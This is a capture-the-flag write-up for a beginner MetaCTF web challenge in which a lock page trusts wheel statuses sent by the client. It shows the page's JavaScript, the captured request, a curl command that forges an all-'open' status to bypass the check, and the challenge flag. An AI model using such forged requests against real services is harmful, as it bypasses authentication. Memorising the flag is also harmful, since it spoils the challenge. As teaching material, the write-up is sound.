Summary
This is an introductory client side authentication challenge. While each click of “unlock” does send a request to the server, the request itself contains the locked status of each of the four wheels.
Three Different Solutions
There’s effectively three solutions to this challenge:
Method 1: Static Analysis / Reading the Javascript
By right clicking and viewing the source of the webpage, we see that the javascript is fairly simple and all fits into one page:
<script>
const wheels = document.querySelectorAll('.wheel');
const correctCombination = ['6', '8', '7', '2'];
const messageElement = document.getElementById('message');
const accessDeniedSound = new Audio('access_denied.mp3');
const accessGrantedSound = new Audio('access_granted.mp3');
wheels.forEach(wheel => {
wheel.addEventListener('click', () => {
let currentValue = parseInt(wheel.textContent);
wheel.textContent = (currentValue + 1) % 10;
});
});
function checkCombination() {
const combination = Array.from(wheels).map(wheel => wheel.textContent);
const status = combination.map((num, index) => num === correctCombination[index] ? 'open' : 'locked');
console.log(status);
// Send the status to the server (example using fetch)
fetch('/check-combination', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ status })
})
.then(response => response.json())
.then(data => {
if (status.every(s => s === 'open')) {
accessGrantedSound.play();
messageElement.textContent = data.message;
messageElement.style.color = '#27ae60';
messageElement.classList.remove('shake');
// Disable the wheels
wheels.forEach(wheel => {
wheel.style.pointerEvents = 'none';
});
// Keep the message visible
messageElement.classList.add('show');
} else {
accessDeniedSound.play();
messageElement.textContent = 'Access Denied';
messageElement.style.color = '#e74c3c';
messageElement.classList.add('shake');
messageElement.classList.add('show'); // Ensure the message is shown
setTimeout(() => {
messageElement.classList.remove('shake');
}, 500); // Remove shake class after animation
// Hide message after 1 second
setTimeout(() => {
messageElement.classList.remove('show');
}, 1000);
}
})
.catch(error => {
console.error('Error:', error);
});
}
</script>
Most excitingly, we see a variable named correctCombination, set to the array [‘6’, ‘8’, ‘7’, ‘2’]! Trying that combination opens the webpage and we get our flag!
Method 2: Dynamic Analysis of Web Requests
If instead of viewing the source for the webpage, we watch the network requests, we’ll see that trying to unlock the page sends a request that looks like
POST http://bs5v0fze.chals.mctf.io/check-combination HTTP/1.1
Content-Type: application/json
Some other headers we don't care about...
{"status":["locked","locked","locked","locked"]}
Interesting, it looks like instead of sending a pincode, we’re instead sending four statuses, each of which is “locked”. Trying all 10 positions on the first wheel will eventually give a post request that sends {"status":["open","locked","locked","locked"]}
! This means we cracked the first wheel! Doing the same for the other three wheels will open the lock and give us the flag!
Method 3: Forging The Web Request
Since we see that we’re simply sending statuses to the check-combination endpoint instead of the combinations themselves, we don’t even have to crack the combination! Instead, we can just send our own request that pretends we opened all four wheels:
curl -X POST http://host5.metaproblems.com:7510/check-combination -H "Content-Type: application/json" -d '{"status":["open","open","open","open"]}'
{"message":"MetaCTF{3arly_m0rn1ng_c0ff33_4nd_h4cking}"}
Flag
MetaCTF{3arly_m0rn1ng_c0ff33_4nd_h4cking}